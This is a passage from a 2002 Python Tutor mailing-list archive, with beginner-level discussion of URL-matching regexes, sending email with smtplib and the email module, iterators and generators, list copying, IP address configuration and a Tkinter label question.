Vaidyanathan wrote: > > Can you show us the mailURL base class? Perhaps it's possible to avoid > > inheritance altogether by making the parent class general enough to handle > > all cases. > > Well, I've attached the entire script here (~9K). I've just added > another sub-class for the Wired Daily News as well, but I am yet to > check if that works (it should). > > The script works all right, but something tells me there _must_ be a > better way of doing this :-) If I'm understanding things, it appears that mailURL has two distinct modes that it runs under: 1. Reading content from a local file 2. Reading content from a web url. The 'LinuxWeeklyNews', 'KernelTraffic', and 'LinuxDoc' classes have a pretty regular structure for 'weekly' stuff. On the flip side, WiredNews, Register, and LinuxJournal classes look fairly similar as stuff that handles 'daily' news. Would it be possible to somehow unify these two categories into one? That is, it might be possible to have a separate program that periodically retrieves Daily stuff and writes them to temporary files, formatting them to look similar to what the Weekly news sources provide. That way, we can reduce the complexity in mailUrl and remove the need for retrieveURL(). If you're running on Unix, 'cron' should be helpful for scheduling this, and I'm pretty sure that Windows has a scheduler as well. The extractURLs() functions that do the "Daily" stuff have a very similar structure; they appear to grab every url-containing paragraph of 3 lines. In fact, the signficant difference I see between WiredNews.extractURLs(), Register.extractURLs(), and LinuxJournal.extractURLs() is the last line: links[desc] = string.strip(line) ## WiredNews links[desc] = string.strip(line) ## Register links[desc] = string.strip(match.group(1)) ## LinuxJournal We might be able to generalize these three regular expressions: regex = re.compile(r'http://www.theregister.co.uk/') regex = re.compile(r'(http://www.linuxjournal.com/article.php[^\s]*)') regex = re.compile(r'http://www.wired.com/news/..*') from the main() function so that we can treat all the cases the same way in extractURLs(): links[desc] = string.strip(match.group(1)) ## All three And that should cut down on the class madness. *grin* By the way, you might find the following module useful: this is a regular expression that matches HTTP urls. It defines an 'url_re' object that you can use to findall() urls in a document. ### ## http_regular_expression.py ## ## This is a regular expression that detects HTTP urls. ## ## This is only a small sample of tchrist's very nice tutorial on ## regular expressions. See: ## ## http://www.perl.com/doc/FMTEYEWTK/regexps.html ## ## for more details. urls = '(%s)' % '|'.join("""http telnet gopher file wais ftp""".split()) ltrs = r'\w' gunk = '/#~:.?+=&%@!\-' punc = '.:?\-' any = "%(ltrs)s%(gunk)s%(punc)s" % { 'ltrs' : ltrs, 'gunk' : gunk, 'punc' : punc } url = r""" \b # start at word boundary ( # begin \1 { %(urls)s : # need resource and a colon [%(any)s] +? # followed by one or more # of any valid character, but # be conservative and take only # what you need to.... ) # end \1 } (?= # look-ahead non-consumptive assertion [%(punc)s]* # either 0 or more punctuation [^%(any)s] # followed by a non-url char | # or else $ # then end of the string ) """ % {'urls' : urls, 'any' : any, 'punc' : punc } url_re = re.compile(url, re.VERBOSE) def _test(): sample = """hello world, this is an url: http://python.org. Can you find it?""" match = url_re.search(sample) print "Here's what we found: '%s'" % match.group(0) if __name__ == '__main__': _test() ### Well, let's start refactoring! *grin* Good luck to you. From dyoo@hkn.eecs.berkeley.edu Tue Feb 26 07:55:14 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 25 Feb 2002 23:55:14 -0800 (PST) Subject: [Tutor] Re: OO approach [HTTP urls and regular expressions] In-Reply-To: Message-ID: On Mon, 25 Feb 2002, Danny Yoo wrote: > By the way, you might find the following module useful: this is a regular > expression that matches HTTP urls. It defines an 'url_re' object that you > can use to findall() urls in a document. Yikes, there were some typos in that source code. Let me send the repaired version of http_regular_expression.py, as well as an example of how we can use it: ### >>> from http_regular_expression import url_re >>> import urllib >>> >>> contents = urllib.urlopen('http://python.org').read() >>> >>> url_re.findall(contents)[:10] [('http://barry.wooz.org/software/ht2html', 'http'), ('http://www.jython.org/', 'http'), ('http://www.endeavors.com/pippy/', 'http'), ('http://idlefork.sourceforge.net', 'http'), ('http://python.sourceforge.net/', 'http'), ('http://python.sourceforge.net/peps/', 'http'), ('http://aspn.activestate.com/ASPN/Cookbook/Python', 'http'), ('http://www.python.org/cgi-bin/faqw.py', 'http'), ('http://www.europython.org', 'http'), ('http://sourceforge.net/bugs/?group_id=5470', 'http')] ### Cool, it works. *grin* ###### ## This is a regular expression that detects HTTP urls. ## ## This is only a small sample of tchrist's very nice tutorial on ## regular expressions. See: ## ## http://www.perl.com/doc/FMTEYEWTK/regexps.html ## ## for more details. import re urls = '(%s)' % '|'.join("""http telnet gopher file wais ftp""".split()) ltrs = r'\w' gunk = r'/#~:.?+=&%@!\-' punc = r'.:?\-' any = "%(ltrs)s%(gunk)s%(punc)s" % { 'ltrs' : ltrs, 'gunk' : gunk, 'punc' : punc } url = r""" \b # start at word boundary ( # begin \1 { %(urls)s : # need resource and a colon [%(any)s] +? # followed by one or more # of any valid character, but # be conservative and take only # what you need to.... ) # end \1 } (?= # look-ahead non-consumptive assertion [%(punc)s]* # either 0 or more punctuation [^%(any)s] # followed by a non-url char | # or else $ # then end of the string ) """ % {'urls' : urls, 'any' : any, 'punc' : punc } url_re = re.compile(url, re.VERBOSE) def _test(): sample = """hello world, this is an url: http://python.org. Can you find it?""" match = url_re.search(sample) print "Here's what we found: '%s'" % match.group(0) if __name__ == '__main__': _test() ###### Sorry about the mistake! From paulsid@shaw.ca Tue Feb 26 08:00:41 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Tue, 26 Feb 2002 01:00:41 -0700 Subject: [Tutor] Website for Code Review Message-ID: <3C7B40A9.B1C9FF57@shaw.ca> On the main list/newsgroup there was an inquiry from Ben Jacobs about the existence of a web site where people could post Python code to be reviewed by other programmers. I replied privately to tell him about the Tutor list since that kind of thing does happen here sometimes, but I think having a dedicated web site for code review would be a great companion to Tutor. Is anybody willing to take this on? I don't have the resources to set up such a site but I would be willing to help with keeping it running if needed. -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From Nicole.Seitz@urz.uni-hd.de Tue Feb 26 09:19:35 2002 From: Nicole.Seitz@urz.uni-hd.de (Nicole Seitz) Date: Tue, 26 Feb 2002 10:19:35 +0100 Subject: [Tutor] Website for Code Review In-Reply-To: <3C7B40A9.B1C9FF57@shaw.ca> Message-ID: <5.1.0.14.0.20020226101355.00b21ad8@popix.urz.uni-heidelberg.de> At 01:00 26.02.2002 -0700, you wrote: >On the main list/newsgroup there was an inquiry from Ben Jacobs about >the existence of a web site where people could post Python code to be >reviewed by other programmers. I replied privately to tell him about >the Tutor list since that kind of thing does happen here sometimes, but >I think having a dedicated web site for code review would be a great >companion to Tutor. Is anybody willing to take this on? This would really be great! > I don't have >the resources to set up such a site Maybe I could help here- not sure yet.We'll see. Many greetings, Nicole >but I would be willing to help with >keeping it running if needed. > >-- >====================================================================== >Paul Sidorsky Calgary, Canada >paulsid@shaw.ca http://members.shaw.ca/paulsid/ > >_______________________________________________ >Tutor maillist - Tutor@python.org >http://mail.python.org/mailman/listinfo/tutor From dyoo@hkn.eecs.berkeley.edu Tue Feb 26 09:14:05 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Tue, 26 Feb 2002 01:14:05 -0800 (PST) Subject: [Tutor] Website for Code Review In-Reply-To: <5.1.0.14.0.20020226101355.00b21ad8@popix.urz.uni-heidelberg.de> Message-ID: On Tue, 26 Feb 2002, Nicole Seitz wrote: > At 01:00 26.02.2002 -0700, you wrote: > >On the main list/newsgroup there was an inquiry from Ben Jacobs about > >the existence of a web site where people could post Python code to be > >reviewed by other programmers. I replied privately to tell him about > >the Tutor list since that kind of thing does happen here sometimes, but > >I think having a dedicated web site for code review would be a great > >companion to Tutor. Is anybody willing to take this on? > > This would really be great! > > > > I don't have > >the resources to set up such a site > > > Maybe I could help here- not sure yet.We'll see. Ok, let's do this. http://ns.decrem.com:8080/ChalkBoard I think we'll have this as a temporary measure while we figure out what we really want to do. But at least we can use this so that people can quickly post up code for others to look at. I have to apologize: it is ugly. I just unpacked Zope and Squishdot ten minutes ago, and haven't had time to read the documentation yet. *grin*. From scarblac@pino.selwerd.nl Tue Feb 26 09:45:30 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Tue, 26 Feb 2002 10:45:30 +0100 Subject: [Tutor] Website for Code Review In-Reply-To: ; from dyoo@hkn.eecs.berkeley.edu on Tue, Feb 26, 2002 at 01:14:05AM -0800 References: <5.1.0.14.0.20020226101355.00b21ad8@popix.urz.uni-heidelberg.de> Message-ID: <20020226104529.A23707@pino.selwerd.nl> On 0, Danny Yoo wrote: > Ok, let's do this. > > http://ns.decrem.com:8080/ChalkBoard > > I think we'll have this as a temporary measure while we figure out what we > really want to do. But at least we can use this so that people can > quickly post up code for others to look at. Very good idea. I was thinking of a Wiki myself, but wasn't quite ready yet to go download one and put it up. Squishdot is a good idea :) > I have to apologize: it is ugly. I just unpacked Zope and Squishdot ten > minutes ago, and haven't had time to read the documentation yet. *grin*. I have a feeling this is how many great things start. If it's useful, it can be used now, if it's not, it wasn't worth making beautiful anyway :-) Oh, it's not working fully yet - if I want to reply to something it asks for name and password, and I don't see a way to register. Thought it'd be more exactly like Slashdot, but apparently it's not. -- Remco Gerlich From informatickers@yahoo.com Tue Feb 26 10:02:26 2002 From: informatickers@yahoo.com (informatickers le) Date: Tue, 26 Feb 2002 02:02:26 -0800 (PST) Subject: [Tutor] i'm a newbie Message-ID: <20020226100226.93176.qmail@web14601.mail.yahoo.com> help ... * what should i prepared as my first step toward python..? * what is the best platform that python run into ? * does unix suits for a private use ? * what does python do best..? thanx... java __________________________________________________ Do You Yahoo!? Yahoo! Sports - Coverage of the 2002 Olympic Games http://sports.yahoo.com From slime@vsnl.net Mon Feb 25 15:19:01 2002 From: slime@vsnl.net (Prahlad Vaidyanathan) Date: Mon, 25 Feb 2002 20:49:01 +0530 Subject: [Tutor] smtpd module Message-ID: <20020225151901.GA9057@marvin.localdomain> Hi, I just downloaded and installed 2.2, and was looking through the modules, when I found an undocumented module called "smtpd" by Barry Warsaw. Has anyone used this module ? I am currently using a very hackish python script to send emails from my home-machine (I got sick of messing with the sendmail.cf files of this world). So, this module seems right up that alley. If someone has used this, please let me know how. pv. -- Prahlad Vaidyanathan You can always pick up your needle and move to another groove. -- Tim Leary From fal_69@plasa.com Tue Feb 26 07:06:12 2002 From: fal_69@plasa.com (gopal anshary ) Date: Tue, 26 Feb 2002 14:06:12 +0700 Subject: [Tutor] python script Message-ID: hi every body, my name is ifal and i from indonesia. i'm new member of this mailing list. i use python in order to finish my final project for my diploma. i have some difficulty about python script. i wanna make some web with python as cgi script and apache as a web server also PostgerSQL as a data base server. my question is how to configure those three programs, to get them connected each other,in order to run my first script? what module that i need? did i need mod_python ? i really appreciated for the answer, from every one viva python!!!! From enoc6@lycos.com Tue Feb 26 09:04:35 2002 From: enoc6@lycos.com (Enoch NORTON) Date: Tue, 26 Feb 2002 02:04:35 -0700 Subject: [Tutor] New user Message-ID: Just trying ou the mailing list. No questions here, yet. From ak@silmarill.org Tue Feb 26 21:48:53 2002 From: ak@silmarill.org (Andrei Kulakov) Date: Tue, 26 Feb 2002 16:48:53 -0500 Subject: [Tutor] i'm a newbie In-Reply-To: <20020226100226.93176.qmail@web14601.mail.yahoo.com> References: <20020226100226.93176.qmail@web14601.mail.yahoo.com> Message-ID: <20020226214853.GA25421@ak.silmarill.org> On Tue, Feb 26, 2002 at 02:02:26AM -0800, informatickers le wrote: > help ... > * what should i prepared as my first step toward > python..? Read http://python.org/doc/Newbies.html > * what is the best platform that python run into ? Anything you have right now will do fine. > * does unix suits for a private use ? Yeah.. > * what does python do best..? It's not a niche language, it's very universal. It's easier to say what it does not do well, i.e. driver programming, high performance game programming, that sort of thing. > > thanx... no problem! - Andrei > > java > > __________________________________________________ > Do You Yahoo!? > Yahoo! Sports - Coverage of the 2002 Olympic Games > http://sports.yahoo.com > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From rufmetal@rogers.com Wed Feb 27 00:15:25 2002 From: rufmetal@rogers.com (Chris Keelan) Date: Tue, 26 Feb 2002 19:15:25 -0500 Subject: [Tutor] i'm a newbie In-Reply-To: <20020226214853.GA25421@ak.silmarill.org> References: <20020226100226.93176.qmail@web14601.mail.yahoo.com> <20020226214853.GA25421@ak.silmarill.org> Message-ID: <20020226191525.76f275e0.rufmetal@rogers.com> Tue, 26 Feb 2002 16:48:53 -0500: In attempt to throw the authorities off his trail, Andrei Kulakov transmitted: > > * does unix suits for a private use ? > > Yeah.. I always thought we tried to keep the suits *away* from Unix. ;o) - C From dsh8290@rit.edu Wed Feb 27 01:24:07 2002 From: dsh8290@rit.edu (dman) Date: Tue, 26 Feb 2002 20:24:07 -0500 Subject: [Tutor] smtpd module In-Reply-To: <20020225151901.GA9057@marvin.localdomain> References: <20020225151901.GA9057@marvin.localdomain> Message-ID: <20020227012407.GA25732@dman.ddts.net> On Mon, Feb 25, 2002 at 08:49:01PM +0530, Prahlad Vaidyanathan wrote: | Hi, | | I just downloaded and installed 2.2, and was looking through the | modules, when I found an undocumented module called "smtpd" by Barry | Warsaw. This is not likely to be something you want to play with. | Has anyone used this module ? I am currently using a very hackish python | script to send emails from my home-machine (I got sick of messing with | the sendmail.cf files of this world). So, this module seems right up | that alley. Instead, you probably want the smtplib module and the SMTP class with the sendmail() method. Better yet, just popen() the MTA on the system and pipe the message to it. This is the best solution because the MTA will properly handle all error conditions including the need to queue and retry transmission. I understand that you dislike sendmail.cf files. Take a look at exim instead. If you understand mail (RFC [2]821 and [2]822) then it will be a breeze to configure. -D -- The light of the righteous shines brightly, but the lamp of the wicked is snuffed out. Proverbs 13:9 From dsh8290@rit.edu Wed Feb 27 01:36:23 2002 From: dsh8290@rit.edu (dman) Date: Tue, 26 Feb 2002 20:36:23 -0500 Subject: [Tutor] Iterators and generators for the masses In-Reply-To: References: Message-ID: <20020227013623.GB25732@dman.ddts.net> On Tue, Feb 26, 2002 at 02:40:45AM +0900, kevin parks wrote: | Iterators (PEP 234) and generators (PEP 255) were added. | what do they do? what can they do, what tasks do they make easier, | what is the simplest possible example, what is a more complex | example...etc. & co. Iteration is the process of performing some operation on each member of a collection of objects. For example, to iterate over a list and simply print out each element, you would use for item in the_list : print str( item ) List objects follow the iterator protocol. This simply means they define a method that when called returns an object that follows a certain interface. The interface is that the next() method returns the "next" object in the collection. The iterator itself determines what the "next" object is. (suppose you were iterating over a tree, do you want it depth-first or breadth-first and pre-order, in-order, or post-order?) Iterators can be plugged directly into the 'for' syntax, or you can use them manually by calling next() when you want the next item. Generators are simply some convenient syntax-sugar for creating an iterator. A generator is a function that, when called, returns an iterator object. The iterator object (as described above) provides each piece of data that the generator generates, in order. For example, the most common use of xrange can be written as a generator : def my_xrange( limit ) : cursor = 0 # the first element while cursor < limit : yield cursor cursor += 1 This generator simply generates a sequence of integers starting with 0 and ending at floor(limit-1). I can then use this generator just as I would use any other iterable object. >>> for i in my_xrange( 10 ) : ... print i , ... 0 1 2 3 4 5 6 7 8 9 >>> The neat part is that I don't have to create an actual sequence. If the limit was 1,000,000 the memory usage is the same as in this example. I don't even have to create a class with a magic __getitem__ method to compute the next item in the sequence. The generator is written quite naturally (think of 'yield' much like 'return', except that execution will resume at the following line). This is iterators and generators in a nutshell. If you have more specific questions, fire away. -D -- If anyone would come after me, he must deny himself and take up his cross and follow me. For whoever wants to save his life will lose it, but whoever loses his life for me and for the gospel will save it. What good is it for a man to gain the whole world, yet forfeit his soul? Or what can a man give in exchange for his soul? Mark 8:34-37 From dsh8290@rit.edu Wed Feb 27 01:38:19 2002 From: dsh8290@rit.edu (dman) Date: Tue, 26 Feb 2002 20:38:19 -0500 Subject: [Tutor] i'm a newbie In-Reply-To: <20020226191525.76f275e0.rufmetal@rogers.com> References: <20020226100226.93176.qmail@web14601.mail.yahoo.com> <20020226214853.GA25421@ak.silmarill.org> <20020226191525.76f275e0.rufmetal@rogers.com> Message-ID: <20020227013819.GC25732@dman.ddts.net> On Tue, Feb 26, 2002 at 07:15:25PM -0500, Chris Keelan wrote: | Tue, 26 Feb 2002 16:48:53 -0500: In attempt to throw the authorities off his | trail, Andrei Kulakov transmitted: | | > > * does unix suits for a private use ? | > | > Yeah.. | | I always thought we tried to keep the suits *away* from Unix. Nah. If the suits can/will use Unix, then it's one less system I have to manage :-). Just give them a diskless 486 connected to my "toy". -D -- Micros~1 : For when quality, reliability and security just aren't that important! From wolf_binary@hotmail.com Wed Feb 27 02:58:46 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Tue, 26 Feb 2002 20:58:46 -0600 Subject: [Tutor] IP numbers Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C1BF08.6227BEA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi to all, This isn't really a Python question, but it is a computer one. Can you change your computers IP address? If you can how? Cameron Stoner ------=_NextPart_000_0005_01C1BF08.6227BEA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi to all,
 
This isn't really a Python question, = but it is a=20 computer one.
 
Can you change your computers IP = address?  If=20 you can how?
 
Cameron = Stoner
------=_NextPart_000_0005_01C1BF08.6227BEA0-- From urnerk@qwest.net Wed Feb 27 03:27:53 2002 From: urnerk@qwest.net (Kirby Urner) Date: Tue, 26 Feb 2002 19:27:53 -0800 Subject: [Tutor] IP numbers In-Reply-To: Message-ID: <4.2.0.58.20020226192134.00cd9a90@pop3.norton.antivirus> At 08:58 PM 2/26/2002 -0600, Cameron Stoner wrote: >Hi to all, > >This isn't really a Python question, but it is a computer one. > >Can you change your computers IP address? If you can how? > >Cameron Stoner Depends how the current one is assigned. If you're part of a local, private IP network, with addresses starting with digits 192. or 10., then it's up to you how to assign the numbers internally. If your computer is getting its IP address from a DHCP server, which loans out numbers from a pool, then you usually need to just accept what you have. If your computer is an internet host, and registered with a public domain name, then your address will be built in to the upline routers and DNS servers and cannot easily be changed. Kirby From blacktrash@gmx.net Wed Feb 27 01:17:47 2002 From: blacktrash@gmx.net (Christian Ebert) Date: Wed, 27 Feb 2002 02:17:47 +0100 Subject: [Tutor] literal number (was: dictionaries) Message-ID: <20020227021801-r01010800-c7a9f38d-0922-0108@217.0.172.87> Danny Yoo on Thursday, February 21, 2002 21:34:36 : > Yes, the sort() method of lists does it in-place, so the code above > wouldn't work. However, we can fix that. Here's a function that'll > return a new sorted list: > > ### > def fsort(L, f=cmp): > """A "functional" sort that returns a copy of L, with all its contents > sorted out.""" > L2 = L[:] ^^^ is this just a stylistic convention or does it make a "functional" difference to L2 = L ? > L2.sort(f) > return L2 > ### Hm, you got me addicted to those little functions. So I did the same with reverse() and used it in one of my first scripts - one could do all this less verbosely by considering the number as a number and not a list of chars, using modulo and so forth; but I'm no math guy, so this is my approach: ### def litNum(numstr): """Returns a literal representation of a positive number.""" def fReverse(mylist): """Returns mylist in reversed order.""" mylist.reverse() return mylist if numstr == '0': return 'NAUGHTy professor!' ones = ('', 'one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine') tens = ('', None, 'twenty', 'thirty', 'forty', 'fifty', 'sixty', 'seventy', 'eighty', 'ninety') teenies = ('ten', 'eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen') powers = ('thousand', 'million', 'billion', 'trillion', 'quadrillion', 'quintillion', 'sextillion') # list digits in reverse order: try: digits = fReverse(map(lambda x: int(x), numstr)) except ValueError: return 'A positive integer please.' d = len(digits) # count of digits digind = range(d) # list indices of digits # initialize backward listing of literal representation of digits: strlist = [None for i in digind] for i in range(1, d, 3): strlist[i] = '' if max(digits[i-1:i+1]) and d > i+1: strlist[i] = 'and ' if digits[i] == 1: strlist[i-1] = teenies[digits[i-1]] else: strlist[i] = '%s%s' % (strlist[i], tens[digits[i]]) if digits[i] and digits[i-1]: strlist[i] = '%s-' % strlist[i] for i in digind: if strlist[i] == None: strlist[i] = ones[digits[i]] try: for i in range(3, d, 3): if max(digits[i:i+3]): strlist[i] = '%s %s ' % (strlist[i], powers[(i-1)/3]) except IndexError: return 'Number goes beyond sextillions, I don\'t have a name for it.' for i in range(2, d, 3): if digits[i]: strlist[i] = '%s hundred' % strlist[i] if max(digits[i-2:i]): strlist[i] = '%s ' % strlist[i] # concatenate list of strings in right order: return ''.join(fReverse(strlist)) print litNum(raw_input('Enter a positive number to get its English literal: ')) ### I also made a German version, but hesitate to attack a French one; e. g. 98 == "quatre-vingt dix-huit" ;-b Christian -- Hyperion in Frankfurt www.tko.ch/blacktrash www.schauspielfrankfurt.de From slime@vsnl.net Tue Feb 26 06:55:21 2002 From: slime@vsnl.net (Prahlad Vaidyanathan) Date: Tue, 26 Feb 2002 12:25:21 +0530 Subject: [Tutor] Email module problem -- Bug ? Message-ID: <20020226065521.GA2840@marvin.localdomain> Hi, I was playing around with the email module in 2.2, when I came across a problem. Here is the code that caused it : outer = email.MIMEBase.MIMEBase('multipart','mixed') outer['Subject'] = 'Daily Cartoon Strips %s' % \ time.strftime("%Y-%m-%d",time.localtime()) outer['from'] = from_addr outer['to'] = to_addrs files = ['test.gif'] for filename in files : ctype, encoding = mimetypes.guess_type(filename) if ctype is None or encoding is not None : ctype = 'application/octet-stream' maintype, subtype = ctype.split('/',1) if maintype == 'text' : fp = open(filename) msg = email.MIMEText.MIMEText(fp.read(),_subtype=subtype) fp.close() elif maintype == 'image' : fp = open(filename,'rb') msg = email.MIMEImage.MIMEImage(fp.read(),_subtype=subtype) fp.close() else : fp = open(filename,'rb') msg = email.MIMEBase.MIMEBase(maintype,subtype) msg.add_payload(fp.read()) fp.close() email.Encoders.encode_base64(msg) outer.attach(msg) s = smtplib.SMTP() s.connect() s.sendmail(from_addr,to_addrs,outer.as_string(0)) s.close() This is taken pretty much straight from the documentation, and yet it throws up this error : Traceback (most recent call last): File "/home/prahlad/bin/cartoons.py", line 256, in ? mailEmAll(from_addr=frm, to_addrs=to) File "/home/prahlad/bin/cartoons.py", line 249, in mailEmAll s.sendmail(from_addr,to_addrs,outer.as_string(0)) File "/usr/local/lib/python2.2/email/Message.py", line 59, in as_string g(self, unixfrom=unixfrom) File "/usr/local/lib/python2.2/email/Generator.py", line 83, in __call__ self._write(msg) File "/usr/local/lib/python2.2/email/Generator.py", line 104, in _write self._dispatch(msg) File "/usr/local/lib/python2.2/email/Generator.py", line 134, in _dispatch meth(msg) File "/usr/local/lib/python2.2/email/Generator.py", line 240, in _handle_multipart for part in msg.get_payload(): File "/usr/local/lib/python2.2/email/Message.py", line 151, in __getitem__ return self.get(name) File "/usr/local/lib/python2.2/email/Message.py", line 214, in get name = name.lower() AttributeError: 'int' object has no attribute 'lower' Is this a bug ? pv. -- Prahlad Vaidyanathan A gentleman is a man who wouldn't hit a lady with his hat on. -- Evan Esar [ And why not? For why does she have his hat on? Ed.] From dsh8290@rit.edu Wed Feb 27 03:55:51 2002 From: dsh8290@rit.edu (dman) Date: Tue, 26 Feb 2002 22:55:51 -0500 Subject: [Tutor] IP numbers In-Reply-To: References: Message-ID: <20020227035551.GA26544@dman.ddts.net> On Tue, Feb 26, 2002 at 08:58:46PM -0600, Cameron Stoner wrote: | Hi to all, | | This isn't really a Python question, but it is a computer one. | | Can you change your computers IP address? If you can how? Depends on your system. Given that you're using OE, I'll assume you've got a MS platform. First, what Kirby said. You want your IP to fit with your network's topology or else you'll get nasty routing errors and won't be "connected". Second, if you do want to change what your machine thinks is it's IP, go to the network section of the control panel. In some version of windows (I'm not sure which, and MS keeps moving it), right-click on Network Neighborhood. Click on Properties. Go to the TCP/IP adapter you want to change (likely you only have one, but some systems have multiple NICs). Select it and click the button that says "properties". One of the tabs in the resulting dialog has two radio buttons. They say : Obtain an IP automagically. (this means DHCP) Specify an IP address. If you pick the first one (you probably have), then try running 'winipcfg' and releasing, then renewing, the lease. (that only works with the 95/98/me family, don't know where it is in 2k) DHCP means that a server is configured to assign IP addresses and also give your machine routing and nameserver information. This is probably want you want for your system to work, and you have no control over what IP you get. If you pick the second one, you can enter any IP address in the box. Then you need to specify a default gateway too. You shouldn't do this unless you know what you are doing. If you enter an IP that belongs to someone else, you'll get lots of mis-directed packets (actually, the other person will, you won't get any) if your ISP even routes your requests. This is kinda like putting my address on a letter you drop off at the post office. When the person writes back, they'll only have my address and I, not you, will get their letter. There is another possibility, though. If you use a regular modem to dial-in to your ISP, then you have no control over your IP at all. -D -- If your company is not involved in something called "ISO 9000" you probably have no idea what it is. If your company _is_ involved in ISO 9000 then you definitely have no idea what it is. (Scott Adams - The Dilbert principle) From dyoo@hkn.eecs.berkeley.edu Wed Feb 27 04:11:33 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Tue, 26 Feb 2002 20:11:33 -0800 (PST) Subject: [Tutor] Re: literal number (was: dictionaries) In-Reply-To: <20020227021801-r01010800-c7a9f38d-0922-0108@217.0.172.87> Message-ID: On Wed, 27 Feb 2002, Christian Ebert wrote: > Danny Yoo on Thursday, February 21, 2002 21:34:36 : > > > Yes, the sort() method of lists does it in-place, so the code above > > wouldn't work. However, we can fix that. Here's a function that'll > > return a new sorted list: > > > > ### > > def fsort(L, f=cmp): > > """A "functional" sort that returns a copy of L, with all its contents > > sorted out.""" > > L2 = L[:] > ^^^ > is this just a stylistic convention or does it make a > "functional" difference to L2 = L ? Ah! This array slice isn't a matter of style --- it's a necessary part of fsort() because the comment implies that we want to avoid "destructively" touching the original list. For example: ### >>> letters = list('alphacentauri') >>> letters ['a', 'l', 'p', 'h', 'a', 'c', 'e', 'n', 't', 'a', 'u', 'r', 'i'] >>> another_letters = letters >>> another_letters.sort() >>> another_letters ['a', 'a', 'a', 'c', 'e', 'h', 'i', 'l', 'n', 'p', 'r', 't', 'u'] >>> letters ['a', 'a', 'a', 'c', 'e', 'h', 'i', 'l', 'n', 'p', 'r', 't', 'u'] ### When we're modifying lists, we need to be aware of this issue, that multiple names can refer to the "same" list. This "mutability" is something that isn't an issue with numbers, because we can't modify numbers: ### >>> x = 42 >>> y = x >>> x = 43 >>> x, y (43, 42) ### That is, numbers are "immutable" --- we simply can't change the value of Pi (as long as we're not in Indiana). Lists are different because they do have state, and can "mutate" beneath our fingers. ### >>> x = ['4', '2'] >>> y = x >>> x[0] = '2' >>> x ['2', '2'] >>> y ['2', '2'] ### We can call a dead parrot a "stunned parrot" or an "ex-parrot", but no matter what we call it, we're talking about the same poor bird. Thankfully, lists are much easier to clone than birds. It probably will help readability if we do the copying more explicitly with the 'copy' module: ### from copy import copy def fsort(L, f=cmp): L2 = copy(L) ... ### Please feel free to ask questions on this topic; it's a fairly subtle one. Hope this helps! From sheila@thinkspot.net Wed Feb 27 04:25:11 2002 From: sheila@thinkspot.net (Sheila King) Date: Tue, 26 Feb 2002 20:25:11 -0800 Subject: [Tutor] Email module problem -- Bug ? In-Reply-To: <20020226065521.GA2840@marvin.localdomain> References: <20020226065521.GA2840@marvin.localdomain> Message-ID: <7E97E4CE0@kserver.org> On Tue, 26 Feb 2002 12:25:21 +0530, Prahlad Vaidyanathan wrote about [Tutor] Email module problem -- Bug ?: > > Traceback (most recent call last): > File "/home/prahlad/bin/cartoons.py", line 256, in ? > mailEmAll(from_addr=frm, to_addrs=to) > File "/home/prahlad/bin/cartoons.py", line 249, in mailEmAll > s.sendmail(from_addr,to_addrs,outer.as_string(0)) > File "/usr/local/lib/python2.2/email/Message.py", line 59, in as_string > g(self, unixfrom=unixfrom) > File "/usr/local/lib/python2.2/email/Generator.py", line 83, in __call__ > self._write(msg) > File "/usr/local/lib/python2.2/email/Generator.py", line 104, in _write > self._dispatch(msg) > File "/usr/local/lib/python2.2/email/Generator.py", line 134, in _dispatch > meth(msg) > File "/usr/local/lib/python2.2/email/Generator.py", line 240, in _handle_multipart > for part in msg.get_payload(): > File "/usr/local/lib/python2.2/email/Message.py", line 151, in __getitem__ > return self.get(name) > File "/usr/local/lib/python2.2/email/Message.py", line 214, in get > name = name.lower() > AttributeError: 'int' object has no attribute 'lower' > > > Is this a bug ? I believe so. See these threads, from comp.lang.python and the tutor archive: http://groups.google.com/groups?hl=en&selm=a448mo.3vsj90f.1%40kserver.org http://mail.python.org/pipermail/tutor/2002-February/012423.html -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From wilson@isis.visi.com Wed Feb 27 05:21:07 2002 From: wilson@isis.visi.com (Tim Wilson) Date: Tue, 26 Feb 2002 23:21:07 -0600 (CST) Subject: [Tutor] Updating Label widgets in Tkinter Message-ID: Hi everyone, I'm hoping there's a Tkinter expert or two out there who can offer some help with the following: I'm working through a number of the Tkinter tutorials and John Grayson's book "Python and Tkinter Programming," but I continue to be stymied by the problem of updating the text of a label widget based on some calculation that's bound to a button. I'm including some code that draws a very simple screen that presents an entry widget. The user is supposed to enter a number, click calculate, and be presented with the square root of the number they typed. I've tried a bunch of things at this point, but everything's starting to blur. Can anyone point me in the right direction? Here's the code. Thanks. from Tkinter import * from math import sqrt class Calculator(Frame): def __init__(self): """Create an instance of a very simple calculator.""" Frame.__init__(self) self.pack(expand=YES, fill=BOTH) self.master.title('Square Root Calculator') self.master.iconname('Sqrt') fInput = Frame(self) fInput.pack() Label(fInput, text='x = ').pack(side=LEFT) number = StringVar() Entry(fInput, textvariable=number).pack(side=LEFT) fOutput = Frame(self) fOutput.pack() fOutput.pack(padx=5, pady=5) result = Label(fOutput, text='Waiting for a number...').pack(pady=10) buttons = Frame(self) buttons.pack(padx=5, pady=5) Button(buttons, text='Calculate', command=self.calc(number)).pack(side=LEFT, padx=3) Button(buttons, text='Quit', command=self.quit).pack(side=LEFT, padx=3) def calc(self, number): """Update the label named 'result' to say 'The square root of is ' and then clear the contents of the entry box.""" Calculator().mainloop() -- Tim Wilson | Visit 